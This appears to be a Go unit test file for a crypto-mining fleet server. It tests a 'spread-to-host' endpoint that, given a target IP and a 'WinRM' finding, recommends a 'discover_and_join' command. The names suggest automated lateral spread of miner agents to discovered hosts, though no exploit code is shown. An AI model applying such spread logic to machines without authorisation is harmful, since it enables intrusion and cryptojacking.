package api import ( "bytes" "encoding/json" "net/http" "net/http/httptest" "testing" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/pool" ) func TestPostSpreadToHostRecommendsCommand(t *testing.T) { dir := t.TempDir() database, err := db.New(dir) if err != nil { t.Fatal(err) } t.Cleanup(func() { _ = database.Close() }) if err := database.UpsertAgent(&models.Agent{ ID: "seed-1", Name: "seed-node", IP: "10.1.2.10", Status: "online", Hostname: "seed", }); err != nil { t.Fatal(err) } hub := NewWSHub(database) fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, dir) body, _ := json.Marshal(map[string]string{"host": "10.1.2.99", "finding": "WinRM"}) req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body)) rec := httptest.NewRecorder() fh.PostSpreadToHost(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) } var out map[string]interface{} if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil { t.Fatal(err) } if out["recommended_command"] != "discover_and_join" { t.Fatalf("recommended_command: %v", out["recommended_command"]) } if out["join_lane"] != "winrm" { t.Fatalf("join_lane: %v", out["join_lane"]) } note, _ := out["operator_note"].(string) if note == "" { t.Fatal("expected operator_note") } } func TestPostSpreadToHostRequiresHost(t *testing.T) { fh := NewFleetHandler(nil, nil, nil, nil, nil, pool.Config{}, t.TempDir()) body, _ := json.Marshal(map[string]string{"finding": "WinRM"}) req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body)) rec := httptest.NewRecorder() fh.PostSpreadToHost(rec, req) if rec.Code != http.StatusBadRequest { t.Fatalf("want 400 got %d", rec.Code) } }